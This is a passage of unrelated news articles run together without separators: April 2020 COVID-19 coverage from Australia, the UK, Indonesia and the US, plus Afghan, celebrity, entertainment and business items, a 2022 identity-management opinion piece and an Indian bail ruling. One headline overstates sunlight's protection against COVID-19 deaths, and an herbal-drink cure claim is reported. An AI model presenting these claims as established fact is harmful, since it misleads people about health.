its design is pending and its in the process of seeking approval from the FDA. The business is also reaching out to universities and labs for independent testing of its product. They plan to start testing the lights in May and hope to take orders as early as July. They envision installing the light systems in nursing homes, hospitals, clinics and offices. Thanks for joining Marissa Calligeros and Tammy Mills today. We heard from the federal deputy chief medical officer, who believes Australia has moved into a new phase of the epidemic in learning how to best relax social distancing measures. Here's a quick recap of some of today's main stories: Death toll rises: The nations death toll rose to 90 on Wednesday following another death at Newmarch House nursing home in Sydneys west, the 12th resident to die from the disease with six of these deaths occurring over the past two days. Three new Victorian cases of COVID-19 were confirmed on Wednesday, bringing the state's total to 1354. A woman in her 80s became the 18th person in the state to die of the virus. New phase of epidemic: Deputy chief medical officer Paul Kelly signalled a relaxing of social distancing measures by May 11 to get back to some sort of new normality. Three million download app: Over three million people have now downloaded the government's COVIDSafe app in just three days. Active cases in Victoria fall and 7000 take up testing: The number of active cases in Victoria fell below 50 for the first time in more than a month. Premier Daniel Andrews is pushing for 100,000 people to be tested within two weeks, and about 7000 tests have been conducted since his announcement on Monday. Return to school: The debate about how soon kids should return to classrooms continued today after the federal government offered independent and Catholic schools billions of dollars in funding to reopen within a month. Private schools in Victoria say they are a wedge in a government stoush to decide to follow Premier Daniel Andrews advice or take the money. Huge testing bonus: Mining billionaire Andrew Twiggy Forrest announced he was buying 10 million coronavirus test kits for Australia with the help of a Chinese company. Diplomatic gate crash?: Mr Forrest made the announcement alongside one of Chinas top diplomats, blindsiding Health Minister Greg Hunt as diplomatic tensions between the two countries continue with Australia pushing for an inquiry into the origins of coronavirus. Staff sent home and childcare centre closed: Two dozen staff were sent home from Sunshine Hospital to isolate after a patient who underwent emergency surgery later tested positive to COVID-19. It comes as a childcare centre in Yarraville was temporarily closed after two children were tested for the disease. The Age and Sydney Morning Herald's new coronavirus data centre, tracking local, national and international case numbers, tests and recoveries is live. The centre gives you access to graphs and maps which show how the virus has spread across the country, right down to each local government area: London, April 28 : The British government announced a new fast-track finance scheme providing loans with a 100 per cent government-backed guarantee for small businesses hit by the novel coronavirus outbreak. Under the new loan scheme, announced by the Chancellor of the Exchequer Rishi Sunak on Monday, small businesses can apply for Bounce Back Loans up to a maximum of 50,000 pounds (about US $62,073), or 25 per cent of turnover, with the government paying the interest for the first 12 months, Xinhua news agency reported. Designed to ensure that small firms which need vital cash injections to keep operating can get finance in a matter of days, the loans will be easy to apply for through a short, standardized online application since Monday next week. The move came as British business group the Institute of Directors (IoD) urged the government to "improve and widen" the scope of coronavirus finance for small and medium-sized enterprises (SMEs) hit by the COVID-19 pandemic. In a survey of 879 SMEs leaders conducted recently by the IoD, an organisation representing some 30,000 business leaders across Britain, some half of respondents said the Coronavirus Business Interruption Loan Scheme (CBILS), launched by the government in March, wasn't "suitable" for their firms. About 47 per cent respondents said "it (CBILS) is not suitable for my organisation right now", with 25 per cent saying "my organisation is not eligible", the IoD said in a statement released last Friday. "Our smallest businesses are the backbone of our economy and play a vital role in their communities. This new rapid loan scheme will help ensure they get the finance they need quickly to help survive this crisis," Sunak said. "This is in addition to business grants, tax deferrals, and the job retention scheme, which are already helping to support hundreds of thousands of small businesses," he added. Mike Cherry, national chairman of the Federation of Small Businesses, said: "This crucial new initiative should enable thousands of small businesses to access the working capital they need quickly, helping to protect the millions of jobs they provide in every part of the UK." According to the Treasury, British COVID-19 support schemes have provided over 15 billion pounds (about 18.6 billion dollars) for businesses in just a few weeks. The new loan scheme will run alongside the existing Coronavirus Business Interruption Loan Scheme (CBILS) and Coronavirus Large Business Interruption Loan Scheme (CLBILS). In March, among other measures, the British government pledged to provide 330 billion pounds (about US $410 billion) of loans and guarantees to businesses in a bid to support firms getting through the tough times as the coronavirus outbreak escalates in the country. Latest updates on Coronavirus (COVID-19) Share this article Whatsapp Facebook Twitter Linkedin Suherdjoko (The Jakarta Post) Surakarta, Central Java Tue, April 28, 2020 18:24 624 fc6853813033f564188675f8bd4c5f32 1 National COVID-19,coronavirus,healthcare-workers,nurses,Central-Java,Ganjar-Pranowo Free Three nurses who work in Bung Karno Hospital in Surakarta, Central Java, have been evicted from their rooming house over the landlord's concerns that the healthcare workers will infect her family with the coronavirus. One of the affected nurses, Siska, said she received the eviction notice via text. "I just woke up and I suddenly received texts from our landlord asking us to move immediately. The three of us were kicked out because we work in a referral hospital for COVID-19," she told The Jakarta Post on Monday. Siska said she was perplexed by the situation especially since it would be very hard for them to find a new place to stay amid the coronavirus pandemic. "We're shocked, disappointed and offended. Why are we being treated like this?" she said. "I hope people don't stigmatize healthcare providers, we always use protective gear when treating COVID-19 patients and implement standard health protocols." Read also: Respect, not reject COVID-19 victims Bung Karno Hospital director Wahyu Indianto confirmed the incident, saying that the hospital management had since provided its spare rooms for the nurses to stay. News of the eviction subsequently reached Central Java Governor Ganjar Pranowo, who immediately responded by calling the nurses and the landlord on Monday. He confirmed that the hospital management had picked up the nurses and provided them with temporary accommodation in the facility. "The landlord, meanwhile, apologized to me while crying and said she was just afraid that her husband could be infected [with the coronavirus]," Ganjar said. "I was baffled by the fact that she could think that way since she is a midwife herself." The eviction is the latest example of hostility toward medical workers in the country, who have fought on the front line of the coronavirus battle but are nonetheless facing discrimination as many are concerned they could be spreading the virus. Last month, some nurses and doctors who treat coronavirus patients in Persahabatan Central General Hospital (RSUP) in East Jakarta were reportedly kicked out of their rooming houses near the hospital. Read also: 'If not us, who else will do it?': Sweat and tears of Indonesia's COVID-19 nurses, doctors In Central Java's Semarang regency, residents of Sewakul village in West Ungaran subdistrict rejected the funeral of a nurse who died after succumbing to COVID-19 on April 12, citing fears of being infected with the contagious virus. The Central Java Police, in cooperation with the Semarang Police, have since apprehended three residents who had allegedly rejected the nurses burial. They were charged under articles 212 and 214 of the Criminal Code and Law No. 4/1984 on infectious diseases. Ganjar said such incidents indicated that residents needed to be educated more thoroughly on COVID-19. However, he said the provincial administration had prepared buildings to house medical workers if similar evictions occurred in the future. "We've prepared several places for healthcare workers to stay if such incidents occur. In Semarang, we have Kesambi Hotel and in Surakarta we have the Bakorwil building," he said. (nal) SEEBAK BAZAR, Afghanistan A village some 70 kilometers south of the Afghan capital, Kabul, is typical of the predominantly rural areas controlled by the Taliban. In Seebak Bazar, part of the Taliban-controlled Chak district in the central Maidan Wardak Province, life has adopted a somewhat normal pace. The ramshackle shops in the mud buildings along its dusty main street continues to attract customers as bearded Taliban fighters can be often seen patrolling the village. But in sharp contrast to teeming Afghan cities, Kabul in particular, few women are seen in Seebak Bazar. Those venturing out of their homes, mostly with male guardians, must wear chadri or veils. While girls can go to school, women have few employment opportunities. Twenty-nine-year-old Khalida, a midwife, is among the six women employed at a local health clinic. She works in strict segregation from her male colleagues. I am happy to serve the residents of my native village, she told Radio Free Afghanistan as she covered her face with a surgical mask. I have been working here for the past year. Khalida, who goes by one name only, however, was allowed to speak in a brief interview supervised by her Taliban minders. The mother of five had previously worked for two years in Jaghatu, another district in Maidan Wardak. Khalida and her female colleagues were not invited to participate in an event held by local Taliban leaders and male medical staff to spread awareness about the coronavirus pandemic. All participants of the event were men from Seebak Bazar and nearby villages. Her circumstances provide a brief insight into what the Talibans signals about changes to their outlook on womens rights mean in reality. Leaders of the hard-line Islamist movement have frequently highlighted their intention to honor womens rights so long as they are in line with their interpretation of Islam. We together will find a way to build an Islamic system in which all Afghans have equal rights, where the rights of women that are granted by Islam from the right to education to the right to work are protected, Sirajuddin Haqqani, the Talibans deputy leader, wrote in an op-ed in the New York Times on February 20. But based on the current status of women in Taliban-controlled regions, it might mean that women will have token access to employment in essential jobs such as health workers or teachers. They will, however, be denied leadership roles and will have to work in strict gender segregation. This is in stark contrast to the status of women in areas controlled by the Afghan government. In Kabul, women have access to education and employment, and enjoy a range of free movement and are a part of all walks of life. Women athletes are considered national heroes while female artists are celebrities. Women also have senior leadership positions in most branches of the government whose leaders insist on being committed to gender equality and protecting womens rights. Lawmaker Nilofer Ibrahimi, a physician in her 40s, remembers being repeatedly beaten by the Taliban for serving as a healthcare worker during their stint in power in the late 1990s. The Taliban must remember that the status of women in Afghanistan is not the same as it was 20 years ago, she told Radio Free Afghanistan. I did not give up working despite repeated beatings two decades ago, and now that I represent people, will it be easy to silence me? As the Afghan government anticipates engaging in peace talks with the Taliban, the status of women is likely to be a major point of contention. The Afghan government has already nominated scores of prominent women to represent it and all other factions supporting the current political system in complex future negotiations with the Taliban. The Taliban, however, have no known women negotiators. No woman has ever held a leadership position in the movement. Abubakar Siddique wrote this based on reporting by Nusrat Parsa and Nasim Shafaq from Seebak Bazar and Kabul, Afghanistan. They are taking precautions but still getting out of the house during the ongoing coronavirus lockdown in Los Angeles. And on Monday, Diane Kruger and Norman Reedus were spotted running errands again as they stopped by a florist in West Hollywood to pick up some flower arrangements. The couple both wore face masks and the actress also had on disposable gloves. Running errands: Diane Kruger and Norman Reedus were spotted wearing face masks as they stopped by a florist in West Hollywood to pick up some flower arrangements on Monday Kruger, 43, was stylish as always, pairing a white tank top with blue jeans rolled up at the cuffs. She wore white short-heeled shoes and had her favorite black peak cap pulled down over her blonde hair. Reedus, 51, was more casually attired, opting for a black t-shirt untucked over baggy pale jeans and black slip-on shoes. Laid back: Walking Dead star Reedus, 51, was casually attired, opting for a black t-shirt untucked over baggy pale jeans and black slip-on shoes The Walking Dead star, 51, and the German-born beauty, 43, have been together since 2016 and share a daughter who was born in November 2018. The couple have not publicly disclosed their little girl's name. The pair have been making the most of their enforced downtime after Hollywood shuttered production due to the pandemic. In mid-April, Kruger shared a photo of herself and Reedus sitting in their car eating ice cream cones. And a week ago, she posted a funny photo to Instagram in which she's seen with her head in the jaws of a fake shark as Reedus, mouth open in imitation of the shark, is poised to take a chunk out of the side of her head. 'That shark is NOT social distancing but I DO like getting nibbled at from my @bigbaldhead,' Kruger wrote in the caption. Whiling away the time: The couple has been making the most of enforced downtime after Hollywood shuttered production due to coronavirus including safely grabbing ice cream 'Getting nibbled': Kruger joked around with partner Norman Reedus and a giant fake shark on Monday and posted the result to her Instagram Kruger and Reedus met while making the film Sky in 2015. Reedus also has a son Mingus, 20, from his relationship with supermodel Helena Christensen. In March 2019, Kruger told French magazine Madame Figaro that she had always thought she would not be a mother. But that changed when she hit her mid-30s and met Reedus. 'For a long time, the desire for a child didnt preoccupy me,' she said. 'I had my ways. I was fine without one. In short, I didnt feel absolutely ready.' 'Life ensured my daughter arrived at the right time. It was a surprise, and she is beautiful.' An Australian health expert has revealed that stepping out in the sun for just 10 minutes per day can greatly reduce the risk of dying with COVID-19. Skin cancer researcher Dr Rachel Neale said that having low levels of vitamin D, which the skin produces when exposed to sunlight, increases your chance of getting a respiratory infection - which can be fatal if one also has the coronavirus. 'Now, more than ever, is not the time to be vitamin D deficient,' Dr Neale told The Australian. Beachgoers soak up the sun at Bondi Beach, which could greatly reduce the risk of contracting COVID-19. Higher levels of vitamin D can increase ones resilience against the virus Doctor Rachel Neale (pictured) said on Tuesday that having low levels of vitamin D, which the skin produces when exposed to sunlight, increases your vulnerability to the virus 'It would make sense that being vitamin D deficient would increase the risk of having symptomatic COVID-19 and potentially having worse symptoms. And that's because vitamin D seems to have important effects on the immune system.' Last year, Dr Neale found that people with low levels of vitamin D are almost twice as likely as those with high levels of vitamin D of developing acute respiratory infections. According to the study of 78,000 patients, people with vitamin D deficiencies were more likely to be sicker for longer. Dr Neale said she sits in the Brisbane sun for for five to 10 minutes everyday to stimulate her body's production of vitamin D. She recommended Sydneysiders should get 10-15 minutes of midday sun while Melburnians should aim for a little longer due to the colder climate. People go for a walk at Mistral point on ANZAC Day. Dr Neale recommended people in Brisbane get 5 to 10 minutes of midday Sun, Sydneysiders get 10 to 15 minutes and Melbourne get slightly more due to colder climate The doctor does not take vitamin D tablets as she believes time in the sun provides more benefits - but accepts they are useful for people who can't leave their home. COVID-19 lockdown laws in Australia allow people to leave the house for exercise, during which time they can get a healthy dose of vitamin D. As of Tuesday, there have been 6,728 cases of coronavirus in the country, which have resulted in 84 deaths. Share this article Whatsapp Facebook Twitter Linkedin News Desk (The Jakarta Post) Jakarta Tue, April 28, 2020 15:53 624 fc6853813033f564188675f8bd4b8b22 1 National COVID-19-in-Indonesia,jamu,herbal-drink,house-of-representatives,DPR,China,imports,BPOM Free Two organizations representing Indonesian jamu (herbal medicine) producers have objected to the reported importation of ingredients for traditional Chinese medicine (TCM) by the House of Representatives COVID-19 task force, saying that the same ingredients can be produced domestically. I object to this, because Indonesia uses the [same] formula as the imported [TCM], Dwi Ranny Pertiwi, who heads the Indonesian Jamu and Traditional Medicine Producers Group (GP-Jamu) said on Monday as quoted by kompas.com. Dwi said that the House task force had not coordinated with the Food and Drug Monitoring Agency (BPOM) in importing the TCM, which she claimed would be distributed to COVID-19 referral hospitals in Indonesia. Andre Rosiade of House Commission IV said that the task force had only imported two out of the 15 ingredients needed for the TCM, while the remaining 13 ingredients would be locally sourced. He also said that the formula for the herbal medicine had been developed by local TCM practitioners who had been granted permission to do so by the Health Ministry. The task force is recommending the herbal drink because some have submitted statements that it can cure [COVID-19]. One member of the House, along with six members of his family, were exposed to the coronavirus and were said to have recovered after consuming the drink, said Andre. Read also: Not all herbal drinks are healthy: Experts Meanwhile, Inggrid Tania, who chairs the Association of Indonesian Doctors for the Development of Traditional and Herbal Medicines (PDPOTJI), said that she had reviewed several Chinese journals and discovered that the imported ingredients were used to treat acid reflux disease, which Indonesians sometimes referred to as masuk angin, or the common cold. We have many Indonesian herbs for masuk angin, so why would we need to import? she added. Inggrid said that herbal medicines had not been clinically tested for use as COVID-19 therapy. Further, she stressed that no referral hospitals were using herbal products to treat patients with the disease. We only have personal testimonials. Along with LIPI, [the Indonesian Institute of Sciences], UGM [Gadjah Mada University] and Kalbe Farma, we are planning to conduct clinical trials of several herbs for COVID-19 treatment, she said. (syk) Mystery: Kim Jong-un has not been seen in public since April 11. Photo: Heo Ran/Reuters China's foreign ministry says it has no information on North Korean leader Kim Jong-un, amid conflicting reports and speculation about his whereabouts and medical condition. Foreign ministry spokesman Geng Shuang made the comment during a daily briefing after being asked about reports of a Chinese delegation, including medical experts, being dispatched to North Korea, and whether they were sent to assist Mr Kim or help the country deal with Covid-19. Sources said a Chinese team was dispatched to North Korea last Thursday to advise on Mr Kim, though it was not clear what this meant about the North Korean leader's health. Mr Kim's prolonged public absence has led to rumours but there is a basic, unanswered question - are the rumours even true? The state of Mr Kim's health matters because it could affect the stability of the dynastic government in Pyongyang and the security of nuclear weapons the nation has repeatedly threatened to use on its neighbours and the United States. It is a problem outside nations have faced for decades - gathering intelligence on perhaps the world's most secretive country is incredibly difficult. And there is probably nothing North Korea guards more closely than information on Mr Kim's health, which is only shared among a small number of the elite, including his powerful sister, Kim Yo-jong. A South Korean official has said that Kim Jong-un's absence from the public eye suggests "he has not been working as normal", amid mounting speculation that the North Korean leader has fallen ill. Although the South Korean government has dismissed rumours regarding Mr Kim's health, insisting that he is "alive and well", questions persist. Yoon Sang-hyun, chairman of the foreign and unification committee in South Korea's National Assembly, told a gathering of experts yesterday the leader's prolonged absence indicated "he has not been working as normal". "There has not been any report showing he's making policy decisions as usual since 11 April, which leads us to assume that he is either sick or being isolated because of coronavirus concerns," Mr Yoon said. However unfounded the fears may be, some experts say South Korea, as well as its regional neighbours and ally the United States, must begin preparing for the high-level instability which could come if Mr Kim is sidelined by health problems or even dies. That could include North Korean refugees flooding South Korea or China, or military hard-liners letting loose nuclear weapons. While those are worst-case scenarios, planning for them is crucial because nobody knows for sure what is happening inside North Korea, said Nam Sung-wook, a North Korea expert at Seoul's Korea University who termed the situation the "Achilles heel of international politics in north-east Asia. Mr Kim is overweight, reportedly smokes heavily and has other health problems. He was last seen in public on April 11. HURON COUNTY Fearless and caring, Jay Brahmbhatt, M.D. practices in Seattle, Washington a COVID-19 danger zone, however those dangers have not deterred the dedicated doctor from leading by example in providing patient care. The doctor graduated from Bad Axe High School in the class of 2009, before graduating from Oakland University William Beaumont School of Medicine in 2017. Today, he serves as an internal medicine resident for University of Washington affiliated hospitals. Since the virus's relentless spread throughout the city, Brahmbhatt has written about some of his experiences in a piece entitled "Hold on to humanity while we still can." For many health care workers, fatigue and fear of exposure pale compared to the emotional toll of countless COVID-19 tragedies, writes Brahmbhatt. At the forefront of our minds are the reports from Italy, highlighting the impossible choices physicians were forced to make. He explained that while the state of Washington has been proactive in early COVID-19 response, its entire medical community continues preparing for the worst. This includes addressing the reality of limited resources and an insurmountable number of patients, a crisis standard-of-care, Brahmbhatt said. As the news put it, doctors 'choosing who lives and dies,' categorically rationing medical care to unilaterally pursue a comfort measures only approach. The doctor considers such an approach to be necessary in regions like the country of Italy or state of New York, where the leading number of cases and deaths are recorded. Otherwise, he referred to these actions as medicine without humanity. Then, he went on to explain how rewarding it is to deliver information to patients so that they may make more informed decisions. According to Brahmbhatt, it is his doctor-patient relationship that enables him to co-navigate through tough choices and reach intrinsic satisfaction. When I joined the COVID-19 intensive care unit staff, I saw tense health care providers in a crisis state-of-mind with a modest census of patients, Brahmbhatt said. Versus following the mold presented, Brahmbhatt chose to talk with his dying patients in-depth about their healthcare goals. He met disapproval along the way. While I was fresh to the ICU, many of my peers were tired from weeks of working under the threat of a surge, he said. An example provided was an 80-year-old Vietnamese woman who was admitted into acute care along with her husband, both suffering from COVID-19. I ended up spending most of the night with a sleepy woman, her husband, and a telephone-based Vietnamese interpreter, Brahmbhatt said. The doctor discussed scenarios of intubation and resuscitation with the alert husband. Intubation is when an endotracheal tube gets inserted through the mouth and into the airway. Resuscitation is the act of reviving someone from death. Yes, she could continue care in the same room as her husband, though the hypoxemia would worsen and lead to death, Brahmbhatt said. The other option was that she could be transferred to an intensive care unit, which would mean a different room. I expressed my doubt that she would be extubated or see her husband again, Brahmbhatt said. The man decided he wanted his wife left in the same room. She woke up just in time to hear his wishes. Conscious, the doctor asked the woman if she wanted a breathing tube inserted, to which she shook her head no. He went on to ask her if she wanted to stay with her husband. She nodded yes and then asked to see her son. I told her I was not sure if it was allowed, I apologized, Brahmbhatt said. She thanked me anyways. The recompense was in navigating the decision. The doctor documented the conversation as DNR/DNI, no ICU transfer. Hospital staff, including the acute care and ICU team agreed. However, many coworkers questioned why he dedicated so much time to going over intubation and resuscitation with his patients. The doctor listened to the growing concerns among his team, many of whom believed administering CPR on COVID-19 patients to be useless and increase exposure risks. First, all health care providers need our fears heard and validated, Brahmbhatt said. We must listen to each other, and our institutions must listen to us. Just as importantly, though, in the coming months, we must frequently reassess our perspective on the situation. He maintained that fear could not be allowed to overshadow facts and that it was better to understand patients in order to provide care that adheres to their goals. A time may come where we all will be required to abandon our humanistic approach to eliciting our patients goals-of-care in exchange for a cold, but necessary, algorithm, Brahmbhatt said. I have faith that our leaders will provide us with protocols that will make these impossible decisions for us. The doctor added that whatever the protocols, he would continue to perform as a compassionate provider and team member. "Until then, we must hold on to humanity while we still can," Brahmbhatt said. Star Wars: The Rise of Skywalker will start streaming on Disney+ on May 4th otherwise known as Star Wars Day. A listing for the final chapter in the sequel trilogy appeared earlier today on the Disney+ app before the company confirmed the date in a press release, saying it plans to start streaming the movie two months early. On the same day, youll also be able to watch Disney Gallery: The Mandalorian, an eight-part documentary series that will share a behind the scenes look at the development of The Mandalorian. The series finale of the popular Clone Wars animated series will also start streaming on May 4th. Whats more, the Disney+ app will get a small user interface makeover that week in honor of Star Wars. Disneys press release didnt say exactly what time Rise of Skywalker will premiere, but it did note that it will start streaming one day later in the Netherlands due to the countrys Remembrance Day holiday. The Rise of Skywalker is the latest major Disney movie to make its way to the companys streaming platform early. In March, Disney pushed up the release of Frozen 2, making it available to watch three months early. Of course, whether the early release of The Rise of Skywalker is a cause for celebration will largely depend on how you feel about the divisive movie. INGHAM COUNTY, MI A Michigan man busted with a dead Canada goose in his trunk later lied to a DNR officer how it died. According to an official DNR report, the incident occurred in early-April when conservation officer Todd Thorn spotted a vehicle on a dirt road turn around when he approached the CO in Ingham County. Following the vehicle, CO Thorn observed the man pull over after his muffler began dragging on the ground. CO Thorn stopped behind the vehicle and the man began to speak with him. CO Thorn learned that the man was driving with a suspended license and a further search of the vehicle revealed a dead Canada goose in his trunk. CO Thorn attained the goose by consent and was told that the goose was almost dead on the side of the road, so the driver hit it in the head with a stick to put it out of its misery. However, upon further investigation, CO Thorn found a small caliber bullet hole entry and exit wound in the gooses head. Tickets were issued and the goose was seized. Ingham County is in DNR District 8 which also includes Branch, Calhoun, Clinton, Eaton, Hillsdale, Jackson, Livingston, Shiawassee. STATEN ISLAND, N.Y. -- Military jets will soar over New York City on Tuesday afternoon in honor of first responders, healthcare employees and other essential workers fighting coronavirus (COVID-19). The aerial display will be visible from parts of Staten Island, according to statement from the NYPDs Deputy Commissioner of Public Information and Notify NYC. The air show is scheduled to begin at noon when eight U.S. Air Force Thunderbird F-16 jets with red, white and blue markings and seven U.S. Navy Blue Angel jets perform high-flying stunts in the skies near the George Washington Bridge. The jets will buzz New York City, Long Island, Westchester County, Newark and other areas in northern New Jersey for about 40 minutes before flying down to Trenton, Philadelphia and Delaware. People are encouraged to watch the airshow from their homes and maintain safe social distances. Dr. David Calland is joining Bryan Colleges executive team as vice president of academics and provost on July 1. Dr. Calland joins Dr. Douglas Mann, who will begin his tenure as president of the college on July 15. Dr. Calland holds a PhD in organizational management from Capella University in Minnesota, a masters degree in business administration and a bachelors degree with an emphasis in psychology from Liberty University. Incoming Bryan College President Dr. Douglas Mann noted Dr. Callands breadth of unique roles and experience in federal government, private industry and higher education, that he said make him a perfect fit for Bryan College. His experience in higher education includes traditional instruction in the classroom and development of curriculum for online platforms. He has held positions as department chair, associate dean and interim dean for the School of Business at Liberty University in Lynchburg, Va., and most recently as administrative dean for Residential Programs and dean of the Graduate School at the university. Dr. Calland has years of experience in administrative and senior leadership planning. His expertise has been called upon to support key decisions for academic programs, budgets, facilities and policy. As he transitions to Bryan College, Dr. Calland said, I consider this opportunity to be one of the most significant blessings of my life. Next to my relationship with Christ and my incredible wife Kate, I consider the opportunity to serve the students, faculty and staff at Bryan College a sacred trust. Kate and I are humbled, but enormously excited to take part in the life and community at Bryan while we participate in Gods work in Dayton. Dr. Mann said, We are blessed to have David and Kate join us as we serve the Bryan College community. We know that there will be challenges ahead, but are confident that with the right team in place, we will meet the needs of our students as they prepare to become servants of Christ to make a difference in todays world. Buymie, an Irish grocery delivery start-up, has raised 2.2m in funding and signed a multi-year partnership agreement with Lidl Ireland. The company, which was set up three years ago, connects customers with hundreds of independent personal shoppers who can pick and deliver goods directly from shops. It has already been working with Lidl since 2019. Buymie currently operates in Dublin, as well as Maynooth, Celbridge, Leixlip, Bray and Greystones. The latest investment in the business comes at a time when increasing numbers of people are shopping online due to the coronavirus pandemic. Devan Hughes, CEO and co-founder of Buymie, said he was thrilled with the latest funding round and deal with Lidl. The timing couldnt be better given the current challenges faced by consumers in Ireland and worldwide with Covid-19, Mr Hughes said. I feel that it is down to emerging indigenous businesses like ours to play a key role in shaping the Irish economy to prepare it for the way the world will work and how people will shop post Covid, he added. Alan Stewart, head of eCommerce at Lidl Ireland, said the supermarket chain has seen the number of active customers using the Buymie service growing by as much as 39pc month-on-month. Buymies model does not require vans and warehouses to increase its capacity. In recent weeks the company said it has seen a 300pc surge in downloads. Buymie first received investment from Enterprise Ireland in 2016. Since then the company has gone on to raise over 5m from investors. This latest funding round was led by Act Venture Capital, with participation from Sure Valley Ventures and support from long-term existing investor, Haatch Ventures. Other participants include Buymie chairman Eamonn Quinn, BVP Investments, Enterprise Ireland and a collection of strategic angel investors through HBANs Bloom Syndicate. For more coverage, visit our complete coronavirus section here. At a Monday press conference, California Gov. Gavin Newsom said that law enforcement of the state's shelter-in-place order will be heightened after a spring heat wave drew huge crowds to some Southern California beaches. Newsom said while many of the state's beaches remained quiet and mostly empty despite the nice weather, some locations were packed with beach-goers disobeying the mandate to stay six feet apart from others. Newsom specifically called out Newport Beach and photos he saw of that particular beach overrun with tens of thousands of people. "Those images are an example of what not to do," the governor said. Newsom noted the state is making "meaningful progress" in stopping the spread of the virus and the state saw a "modest decline" in case numbers compared to last week's peak. Hospitalizations increased 1.4% over the past 24 hours and ICU patients remained flat. But he said, the state will quickly lose the progress it has gained with incidents like the Saturday gatherings in Newport. "Your actions impact the lives of others," he said. "Stay home. Practice physical distancing." Newsom emphasized the need for people to follow orders, even on weekends and even when the weather is gorgeous. "This virus doesnt take the weekends off," he said. "This virus doesnt go home because its a beautiful sunny day on our coasts. It is ubiquitous. It is invisible. It remains deadly. Ask the 45 families who lost a loved one in the last 48 hours. Please, please continue physical distancing." Newsom said he spoke with officials in Orange County where beaches became overly crowded and they're addressing the issue. "To their credit, they listened to the concerns," they said. Newsom will be meeting with law enforcement leaders and others to discuss ways to better enforce the stay-at-home order around the state and implement "more aggressive enforcement." City officials in Newport Beach called on Sunday for a special meeting to consider shutting beaches for everybody in the next few weekends or closing roadways leading to the shoreline to keep visitors away. The residents are accustomed to summer visitors. This is not an issue in normal times. But in a pandemic it creates at lot of concerns, and our older residents are especially at risk," said Diane Dixon, a councilwoman whose district run along the beach. Neighboring Huntington Beach also saw big gatherings, despite the closure of beach parking lots and metered parking restricted along the Pacific Coast Highway. The Associated Press contributed to this story. MORE CORONAVIRUS COVERAGE: Sign up for 'The Daily' newsletter for the latest on coronavirus here. Amy Graff is a digital editor with SFGATE. Email her: agraff@sfgate.com. A Westerly town crew loads a helicopter at Westerly State Airport with a granular larvicide that was dispersed in September over the Chapman Swamp area in Westerly to help control mosquitoes. Rhode Island DEM announced Monday that the state will spray 500 acres around the swamplands on Tuesday. Sun file photo Identity and access management in 2022 - what will the future look like? As we enter into 2022, there is still a level of uncertainty in place. Its unclear what the future holds, as companies around the world still contend with the COVID-19 pandemic. Remote working has been encouraged by most organisations and the move to a hybrid working system has become business as usual, for the majority of businesses. Some have reduced their office space or done away with their locations altogether. Following best security practices With all this change in place, there are problems to deal with. According to research, 32.7% of IT admins say they are concerned about employees using unsecured networks to carry out that work. Alongside this, 74% of IT admins thought that remote work makes it harder for employees to follow best security practices. This need to manage security around remote work is no longer temporary. Instead, companies have to build permanent strategies around remote work and security. The coming year will also create a different landscape for small and mid-sized businesses (SMBs). Here are some key predictions for next year and what to start preparing for in 2022: The reality of SMB spending around security will hit home SMBs had to undertake significant investments to adapt to remote working SMBs had to undertake significant investments to adapt to remote working, especially in comparison to their size. They had to undertake significant digital transformation projects that made it possible to deliver services remotely, during the COVID-19 pandemic. Weve seen a shift in mindset for these companies, which are now more tech-focused in their approach to problem solving. According to our research, 45% of SMBs plan to increase their spending towards IT services in 2022. Around half of all organisations think their IT budgets are adequate for their needs, while 14.5% of those surveyed believe they will need more, to cover all that needs to be done. Identity management spending to support remote work For others, the COVID-19 pandemic led to over-spending, just to get ahead of things and they will spend in 2022, looking at what they should keep and what they can reduce their spending on. Areas like identity management will stay in place, as companies struggle to support remote work and security, without this in place. However, on-premise IT spending will be reduced or cut, as those solutions are not relevant for the new work model. Services that rely on on-premise IT will be cut or replaced. The device will lead the way for security We rely on our phones to work and to communicate. In 2022, they will become central to how we manage access, to all our assets and locations, IT and physical. When employees can use company devices and their own phones for work, security is more difficult. IT teams have to ensure that theyre prepared for this, by making sure that these devices can be trusted. Wide use of digital certificates and strong MFA factors Rather than requiring a separate smart card or fingerprint reader, devices can be used for access using push authentication There are multiple ways that companies can achieve this, for example - By using digital certificates to identify company devices as trusted, an agent, or strong MFA factors, like a FIDO security key or mobile push authentication. Whichever approach you choose, this can prevent unauthorised access to IT assets and applications, and these same devices can be used for authentication into physical locations too. Rather than requiring a separate smart card or fingerprint reader, devices can be used for access using push authentication. Understanding human behaviour Alongside this, it is important to understand human behaviour. Anything that introduces an extra step for authentication can lead to employees taking workarounds. To stop this, it is important to put an employee education process in place, in order to emphasize on the importance of security. The next step is to think about adopting passwordless security, to further reduce friction and increase adoption. Lastly, as devices become the starting point for security and trust, remote device management will be needed too. More companies will need to manage devices remotely, from wiping an asset remotely if it gets lost or stolen, through to de-provisioning users easily and removing their access rights, when they leave the company. Identity will be a layer cake Zero Trust approaches to security Identity management relies on being able to trust that someone is who they say they are. Zero Trust approaches to security can support this effectively, particularly when aligned with least privilege access models. In order to turn theory into practical easy-to-deploy steps, companies need to use contextual access, as part of their identity management strategy. This involves looking at the context that employees will work in and putting together the right management approach for those circumstances. For typical employee behaviour, using two factor authentication might be enough to help them work, without security getting in the way. How enterprises manage, access and store identity data There will also be a shift in how enterprises manage, access, and store that identity data over time For areas where security is more important, additional security policies can be put over the top, to ensure that only the right people have access. A step-up in authentication can be added, based on the sensitivity of resources or risk-based adaptive authentication policies might be needed. There will also be a shift in how enterprises manage, access, and store that identity data over time, so that it aligns more closely with those use cases. Identity management critical to secure assets in 2022 There are bigger conversations taking place around digital identity for citizenship, as more services move online as well. Any moves that take place in this arena will affect how businesses think about their identity management processes too, encouraging them to look at their requirements in more detail. Overall, 2022 will be the year when identity will be critical to how companies keep their assets secure and their employees productive. With employees working remotely and businesses becoming decentralised, identity strategies will have to take the same approach. This will put the emphasis on strong identity management as the starting point for all security planning. A special court here on Tuesday rejected the bail pleas of businessmen-brothers Kapil and Dheeraj Wadhawan of DHFL group in a money laundering case filed against them by the Enforcement Directorate (ED). Kapil and Dheeraj Wadhawan, promoter of Dewan Housing Finance Ltd (DHFL) and RKW Developers, respectively, are facing charges of financial irregularities in cases filed by the ED and the Central Bureau of Investigation (CBI). The Wadhawans are currently in CBI custody in connection with the Yes Bank scam in which they are accused along with former Yes Bank CEO and co-founder Rana Kapoor. The ED has charged the duo in two cases one pertaining to alleged irregularities in the investment of Employees Provident Fund (EPF) of the Uttar Pradesh Power Corporation Ltd (UPPCL) and the second relating to laundering of over Rs 4,000 crore through Yes Bank. As per the ED counsel, Additional Solicitor General Anil Singh, the special court rejected the Wadhawans' bail plea after the agency argued that the 